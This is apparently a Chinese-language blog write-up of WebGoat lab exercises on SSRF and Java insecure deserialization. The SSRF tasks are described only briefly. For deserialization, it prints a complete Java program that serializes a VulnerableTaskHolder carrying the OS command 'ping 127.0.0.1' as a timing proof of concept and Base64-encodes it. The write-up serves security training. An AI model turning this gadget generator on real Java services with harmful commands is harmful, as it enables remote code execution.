WebGoat靶场-SSRF&反序列化
1diot9 Lv4

前言

这里考的异常简单,连常见的绕过手法和协议都没讲,感觉设计的不太完善。之后会再单独出一篇来学Java的SSRF。这里为了完整性,还是写一下。

SSRF

第一题&第二题

第一题读内部数据,第二题向外发请求,基本一样。

img

直接改url这里的就行。第二题整个替换掉就行。

源码部分,这两题用的都是单纯的字符串匹配,实际上就不是真正的ssrf:

img

反序列化

这里要注意用webgoat给你提供的反序列化类org.dummy.insecure.framework.VulnerableTaskHolder

然后windows下是没有sleep命令的,所以我这里用ping,ping 127.0.0.1就行,也能满足延迟3s–7s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.owasp.webgoat.lessons.deserialization.tmp;

import com.fasterxml.jackson.databind.node.POJONode;
import org.dummy.insecure.framework.VulnerableTaskHolder;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class sleep {
public static byte[] ser(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}

public static void main(String[] args) throws IOException {
VulnerableTaskHolder vul = new VulnerableTaskHolder("webgoat", "ping 127.0.0.1");
byte[] ser = ser(vul);
String s = Base64.getEncoder().encodeToString(ser);
System.out.println(s);
}
}

另外2025版本的靶场用的是jdk23,Templates的Sink链都用不了了。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量